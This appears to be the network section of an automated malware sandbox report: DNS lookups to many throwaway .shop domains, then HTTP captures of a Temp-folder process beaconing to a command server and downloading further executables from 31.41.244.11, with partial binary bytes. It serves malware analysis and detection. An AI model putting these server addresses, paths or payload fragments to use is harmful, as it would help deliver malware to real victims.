Jan 12, 2025 17:39:58.090884924 CET	192.168.2.7	1.1.1.1	0xc3d	Standard query (0)	robinsharez.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.104042053 CET	192.168.2.7	1.1.1.1	0x9cee	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:00.057249069 CET	192.168.2.7	1.1.1.1	0x36cc	Standard query (0)	misha-lomonosov.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:02.826821089 CET	192.168.2.7	1.1.1.1	0x493e	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:03.946799994 CET	192.168.2.7	1.1.1.1	0x4fd0	Standard query (0)	marka4.cyou	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:18.296103001 CET	192.168.2.7	1.1.1.1	0x1994	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:18.296422005 CET	192.168.2.7	1.1.1.1	0xfc4e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 12, 2025 17:40:21.731610060 CET	192.168.2.7	1.1.1.1	0x987b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:21.731734037 CET	192.168.2.7	1.1.1.1	0xa009	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Jan 12, 2025 17:40:23.723673105 CET	192.168.2.7	1.1.1.1	0x58fc	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:23.724015951 CET	192.168.2.7	1.1.1.1	0xc456	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jan 12, 2025 17:40:25.523338079 CET	192.168.2.7	1.1.1.1	0xe957	Standard query (0)	plodnittpw.lat	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.483625889 CET	192.168.2.7	1.1.1.1	0xb88a	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.501679897 CET	192.168.2.7	1.1.1.1	0xe58b	Standard query (0)	nearycrepso.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.526865959 CET	192.168.2.7	1.1.1.1	0x35f1	Standard query (0)	abruptyopsn.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.536634922 CET	192.168.2.7	1.1.1.1	0x11d2	Standard query (0)	wholersorie.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.547374010 CET	192.168.2.7	1.1.1.1	0xc377	Standard query (0)	framekgirus.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.559670925 CET	192.168.2.7	1.1.1.1	0x7653	Standard query (0)	tirepublicerj.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.579515934 CET	192.168.2.7	1.1.1.1	0xd97c	Standard query (0)	noisycuttej.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.589507103 CET	192.168.2.7	1.1.1.1	0x534e	Standard query (0)	rabidcowse.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.600457907 CET	192.168.2.7	1.1.1.1	0x3387	Standard query (0)	cloudewahsj.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.621834040 CET	192.168.2.7	1.1.1.1	0x86bd	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 12, 2025 17:38:14.795352936 CET	1.1.1.1	192.168.2.7	0xe86b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 17:38:14.795352936 CET	1.1.1.1	192.168.2.7	0xe86b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:38:14.883147001 CET	1.1.1.1	192.168.2.7	0xbf49	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 17:38:16.404835939 CET	1.1.1.1	192.168.2.7	0xbe26	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 17:38:33.566781998 CET	1.1.1.1	192.168.2.7	0xeb83	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:38:33.566781998 CET	1.1.1.1	192.168.2.7	0xeb83	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:41.412807941 CET	1.1.1.1	192.168.2.7	0xad10	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:41.412807941 CET	1.1.1.1	192.168.2.7	0xad10	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:43.994645119 CET	1.1.1.1	192.168.2.7	0xb99e	No error (0)	yachtingiturkey.com		162.0.209.157	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:57.982933044 CET	1.1.1.1	192.168.2.7	0x186f	Name error (3)	soundtappysk.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.006278038 CET	1.1.1.1	192.168.2.7	0x9d36	Name error (3)	femalsabler.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.018464088 CET	1.1.1.1	192.168.2.7	0x5d7a	Name error (3)	apporholis.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.030131102 CET	1.1.1.1	192.168.2.7	0xefa9	Name error (3)	crowdwarek.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.059467077 CET	1.1.1.1	192.168.2.7	0x9e0d	Name error (3)	versersleep.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.075474024 CET	1.1.1.1	192.168.2.7	0xdb39	Name error (3)	chipdonkeruz.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.087790966 CET	1.1.1.1	192.168.2.7	0x1024	Name error (3)	handscreamny.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.099922895 CET	1.1.1.1	192.168.2.7	0xc3d	Name error (3)	robinsharez.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.110721111 CET	1.1.1.1	192.168.2.7	0x9cee	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:00.072026014 CET	1.1.1.1	192.168.2.7	0x36cc	No error (0)	misha-lomonosov.com		104.21.14.233	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:00.072026014 CET	1.1.1.1	192.168.2.7	0x36cc	No error (0)	misha-lomonosov.com		172.67.160.193	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:02.833625078 CET	1.1.1.1	192.168.2.7	0x493e	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:03.958652020 CET	1.1.1.1	192.168.2.7	0x4fd0	No error (0)	marka4.cyou		116.203.166.124	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:18.302617073 CET	1.1.1.1	192.168.2.7	0x1994	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:18.303239107 CET	1.1.1.1	192.168.2.7	0xfc4e	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 12, 2025 17:40:21.738261938 CET	1.1.1.1	192.168.2.7	0x987b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 17:40:21.738261938 CET	1.1.1.1	192.168.2.7	0x987b	No error (0)	plus.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:21.738851070 CET	1.1.1.1	192.168.2.7	0xa009	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 17:40:23.731014013 CET	1.1.1.1	192.168.2.7	0x58fc	No error (0)	play.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:25.533180952 CET	1.1.1.1	192.168.2.7	0xe957	No error (0)	plodnittpw.lat		172.67.161.160	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:40:25.533180952 CET	1.1.1.1	192.168.2.7	0xe957	No error (0)	plodnittpw.lat		104.21.49.103	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.493268013 CET	1.1.1.1	192.168.2.7	0xb88a	Name error (3)	pancakedipyps.click	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.510922909 CET	1.1.1.1	192.168.2.7	0xe58b	Name error (3)	nearycrepso.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.535661936 CET	1.1.1.1	192.168.2.7	0x35f1	Name error (3)	abruptyopsn.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.546423912 CET	1.1.1.1	192.168.2.7	0x11d2	Name error (3)	wholersorie.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.558199883 CET	1.1.1.1	192.168.2.7	0xc377	Name error (3)	framekgirus.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.569437027 CET	1.1.1.1	192.168.2.7	0x7653	Name error (3)	tirepublicerj.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.587774992 CET	1.1.1.1	192.168.2.7	0xd97c	Name error (3)	noisycuttej.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.599495888 CET	1.1.1.1	192.168.2.7	0x534e	Name error (3)	rabidcowse.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.609245062 CET	1.1.1.1	192.168.2.7	0x3387	Name error (3)	cloudewahsj.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:41:02.629339933 CET	1.1.1.1	192.168.2.7	0x86bd	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49973	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:04.676095009 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 12, 2025 17:39:05.375618935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49974	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:06.895071030 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 31 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B15182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jan 12, 2025 17:39:07.688071966 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 61 61 62 0d 0a 20 3c 63 3e 31 30 33 34 37 32 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 63 63 36 31 32 31 34 65 64 30 33 62 30 31 62 31 33 30 33 35 61 39 39 63 61 66 32 33 63 61 33 39 39 39 61 35 35 33 36 65 36 23 31 30 33 34 37 36 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 36 63 34 31 36 31 61 65 38 30 35 62 35 31 62 31 32 30 33 30 34 63 62 65 36 62 31 30 62 61 33 62 34 39 61 35 35 33 36 65 36 23 31 30 33 37 33 34 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 39 63 34 31 37 31 38 65 61 30 37 62 64 31 39 31 33 30 33 34 30 38 62 65 63 65 35 32 39 65 31 38 39 39 61 35 35 33 36 65 36 [TRUNCATED] Data Ascii: aab <c>1034725001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2cc61214ed03b01b13035a99caf23ca3999a5536e6#1034761001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c26c4161ae805b51b120304cbe6b10ba3b49a5536e6#1037345001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e29c41718ea07bd191303408bece529e1899a5536e6#1038070001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2dc0131fef02b714100362a2f1d51495a79a5536e6#1038359001+++b5937c1ad0c0f9c34312f8910a39621427e946e9d3d4bea5f1bbc6309d4d48887dc702415450#1038856001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2dc21315e704b61411037db6cfc83497a79a5536e6#1038908001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d29ca1618ef0bb61c0b4e7eb1faf72eb7e3d1482b#1038971001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df30804042ba5ce902415450#1038978021+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df30934c73b05caa4e4558#1039079001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4e4f9b5846d934f48b1 [TRUNCATED]
Jan 12, 2025 17:39:07.688101053 CET	124	IN	Data Raw: 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 61 62 66 65 66 66 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 33 39 31 33 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 Data Ascii: 5cb4f6522427fae1daa8e9eabfeffb9ca30804042ba5ce902415450#1039131001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbec7
Jan 12, 2025 17:39:07.688250065 CET	1236	IN	Data Raw: 30 39 64 34 35 37 38 62 37 35 65 65 31 35 66 31 37 31 63 30 33 64 37 63 65 65 35 31 36 62 36 61 32 64 39 31 65 32 62 66 62 37 61 23 31 30 33 39 31 33 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 Data Ascii: 09d4578b75ee15f171c03d7cee516b6a2d91e2bfb7a#1039132001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd167914244bb50ef4e4d431a8addea1cbda09a5536e6#1039133001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbed6d97445faa4ae849131a06
Jan 12, 2025 17:39:07.688265085 CET	326	IN	Data Raw: 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 33 39 31 34 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 Data Ascii: 34f48b15eaa495c49#1039144001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1039145001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b002ab5e45425197d1aa1daaa8#1039146001+++b5937c1a99d5f9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49975	31.41.244.11	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:07.698301077 CET	66	OUT	GET /files/7343830477/oavvDqT.exe HTTP/1.1 Host: 31.41.244.11
Jan 12, 2025 17:39:08.384892941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:08 GMT Content-Type: application/octet-stream Content-Length: 17585152 Last-Modified: Wed, 08 Jan 2025 15:22:24 GMT Connection: keep-alive ETag: "677e9830-10c5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 52 66 00 00 00 00 00 e0 00 02 03 0b 01 03 00 00 06 2c 00 00 7a b0 00 00 00 00 00 00 4c 06 00 00 10 00 00 00 a0 59 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 70 0f 01 00 04 00 00 1c 69 0c 01 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 67 00 dc 03 00 00 00 70 69 00 60 ff a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 67 00 38 4d 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELRf,zLY@pi@gpi`g8M Y.texte,, `.rdataz- ,\|-,@@.datah]YzY@.idatagd@.reloc8MgNd@B.symtab`iRfB.rsrc`piTf@@
Jan 12, 2025 17:39:08.384908915 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 04 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 0c 24 c3 cc cc cc Data Ascii: $$$$,$4$<$ Go build ID: "3uig73kdYs7wQTp3cSQw/acDKHlJoRiclbieI
Jan 12, 2025 17:39:08.384927988 CET	1236	IN	Data Raw: 58 56 59 6f 2f 59 45 71 45 78 32 39 58 76 61 34 67 55 73 63 75 77 45 6e 48 2f 6f 54 61 55 52 36 6b 55 35 74 78 77 46 59 43 74 71 53 4d 38 22 0a 20 ff cc cc cc cc cc cc cc cc cc 64 8b 0d 14 00 00 00 8b 89 00 00 00 00 3b 61 08 76 20 83 ec 08 e8 26 Data Ascii: XVYo/YEqEx29Xva4gUscuwEnH/oTaUR6kU5txwFYCtqSM8" d;av &D$$D$D$d;aD\$Hl$L1}11'9p9z)}!\|;cpu
Jan 12, 2025 17:39:08.384939909 CET	224	IN	Data Raw: 03 0d 87 cd 8d 46 01 89 d3 39 d8 7d 2e 8b 35 54 3b a4 00 8b 3d 50 3b a4 00 39 f0 73 30 89 c6 c1 e0 04 c6 44 07 0c 01 8b 3d 54 3b a4 00 89 da 8b 1d 50 3b a4 00 39 fe 72 c3 eb 09 8b 74 24 40 e9 86 fb ff ff 89 f0 89 f9 e8 da 2a 06 00 89 f1 e8 d3 2a Data Ascii: F9}.5T;=P;9s0D=T;P;9rt$@*+++**d;aX@n$D$@s
Jan 12, 2025 17:39:08.384949923 CET	1236	IN	Data Raw: 08 8d 0d 01 a6 a6 00 89 48 08 c7 40 14 03 00 00 00 8d 0d ca fa 73 00 89 48 10 8d 0d 00 a6 a6 00 89 48 18 c7 40 24 04 00 00 00 8d 0d 72 01 74 00 89 48 20 8d 0d 06 a6 a6 00 89 48 28 c7 40 34 09 00 00 00 8d 0d 59 4d 74 00 89 48 30 8d 0d 09 a6 a6 00 Data Ascii: H@sHH@$rtH H(@4YMtH0H8@D tH@HH@TsHPHXT;X;uP;=P;)$OT;P;X;9s[D$($L$\$D
Jan 12, 2025 17:39:08.384968042 CET	1236	IN	Data Raw: 16 8d 1d a6 00 74 00 89 5c 0a 30 8d 1d 05 a6 a6 00 89 5c 0a 38 eb 1e 8b 7c 24 4c 8d 05 a6 00 74 00 e8 cd 24 06 00 8b 7c 24 30 8d 05 05 a6 a6 00 e8 be 24 06 00 c7 44 0a 44 03 00 00 00 66 c7 44 0a 4c 00 00 8b 1d b0 a0 a6 00 85 db 75 16 8d 05 27 fb Data Ascii: t\0\8\|$Lt$\|$0$DDfDLu'sD@DH\|$D's$s$$D$D$D$$$D$D$$D$D$D$,
Jan 12, 2025 17:39:08.384982109 CET	448	IN	Data Raw: 94 44 24 10 c3 cc cc cc cc cc cc cc cc cc cc e9 db ff ff ff cc cc cc cc cc cc cc cc cc cc cc e9 cb 00 00 00 cc cc cc cc cc cc cc cc cc cc cc e9 bb ff ff ff cc cc cc cc cc cc cc cc cc cc cc e9 ab ff ff ff cc cc cc cc cc cc cc cc cc cc cc e9 7b ff Data Ascii: D${k{{k{l$
Jan 12, 2025 17:39:08.384991884 CET	1236	IN	Data Raw: db ff ff ff cc cc cc cc cc cc cc cc cc cc cc 8b 6c 24 04 f7 c5 07 00 00 00 74 05 e8 af fd ff ff 8b 5c 24 08 8b 4c 24 0c 8b 45 00 8b 55 04 f0 0f c7 4d 00 75 f9 89 44 24 10 89 54 24 14 c3 cc 8b 5c 24 04 8b 44 24 08 87 03 c3 cc cc cc cc cc 8b 5c 24 Data Ascii: l$t\$L$EUMuD$T$\$D$\$D$D$t@oD$wD$t oD$w1$D$\$D$\$ \$
Jan 12, 2025 17:39:08.385003090 CET	224	IN	Data Raw: 00 00 89 e9 ba 93 01 00 01 be 01 00 00 00 eb 05 d1 fd 0f af d2 85 ed 7e 0d f7 c5 01 00 00 00 74 ef 0f af f2 eb ea 89 74 24 10 8b 6c 24 30 8b 54 24 34 31 ff 31 ff 89 7c 24 1c 31 ff eb 22 8d 5f 01 8b 74 24 1c 69 f6 93 01 00 01 0f b6 7c 3d 00 01 fe Data Ascii: ~tt$l$0T$411\|$1"_t$i\|=t$\$8t$9~9wED$\|$9u_9,,$\$L$JD$uD$L$<T$4\$8l$0t$\|$ D$@,L$T$4\$8t$9
Jan 12, 2025 17:39:08.385011911 CET	1236	IN	Data Raw: 0f 86 be 00 00 00 89 4c 24 14 69 ff 93 01 00 01 0f b6 5c 0d 00 01 fb 8b 7c 24 3c 29 f9 39 ca 0f 86 96 00 00 00 0f b6 54 0d 00 0f af d6 29 d3 8b 54 24 14 8d 72 01 39 d8 75 aa 89 5c 24 28 8d 59 01 39 f3 77 6d 29 ca 89 d1 f7 da c1 fa 1f 21 da 01 ea Data Ascii: L$i\\|$<)9T)T$r9u\$(Y9wm)!9t17t$$\$ $D$8D$L$D$\$ l$0t$$\|$<D$u\$(F\$@,D$@,g^yPG
Jan 12, 2025 17:39:08.389899969 CET	1236	IN	Data Raw: 8b 44 24 14 f3 0f 10 00 0f 57 c9 0f 2e c1 75 06 0f 8b 86 00 00 00 0f 2e c0 75 02 7b 5b 64 8b 05 14 00 00 00 8b 80 00 00 00 00 8b 40 18 8b 88 94 00 00 00 8b 90 98 00 00 00 89 90 94 00 00 00 89 cb c1 e1 11 31 d9 89 d3 31 ca c1 e9 07 31 d1 89 da c1 Data Ascii: D$W.u.u{[d@1111L$15ivD$$D$D$D$D$D$D$5ivD$*d;aD$Wf.u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49977	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:24.054105997 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 34 37 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1034725001&unit=246122658369
Jan 12, 2025 17:39:24.764520884 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49978	31.41.244.11	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:24.772845030 CET	66	OUT	GET /files/7967666176/13Z5sqy.exe HTTP/1.1 Host: 31.41.244.11
Jan 12, 2025 17:39:25.471780062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:25 GMT Content-Type: application/octet-stream Content-Length: 4948992 Last-Modified: Wed, 08 Jan 2025 23:26:18 GMT Connection: keep-alive ETag: "677f099a-4b8400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bc 94 53 b2 f8 f5 3d e1 f8 f5 3d e1 f8 f5 3d e1 8a 74 3e e0 f5 f5 3d e1 8a 74 38 e0 6e f5 3d e1 8a 74 39 e0 eb f5 3d e1 e9 73 3e e0 ea f5 3d e1 e9 73 39 e0 e9 f5 3d e1 e9 73 38 e0 d3 f5 3d e1 8a 74 3c e0 f3 f5 3d e1 f8 f5 3c e1 75 f5 3d e1 7b 73 39 e0 f9 f5 3d e1 7b 73 3f e0 f9 f5 3d e1 52 69 63 68 f8 f5 3d e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 4f 06 7f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 c4 45 00 00 d2 05 00 00 00 00 00 23 a4 22 00 00 10 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 6e 00 00 04 00 00 2b be [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$S===t>=t8n=t9=s>=s9=s8=t<=<u={s9={s?=Rich=PELOgE#"@pn+K@\|kx mM`k\Pj8hj@k\|.textbss}".textRE"E `.rdataj`hlE@@.data>j4H@.idatak^H@@.msvcjmc0ktH@.00cfg@kvH@@.fptablePkxH@.reloc`kzH@B.rsrcM mN6J@@
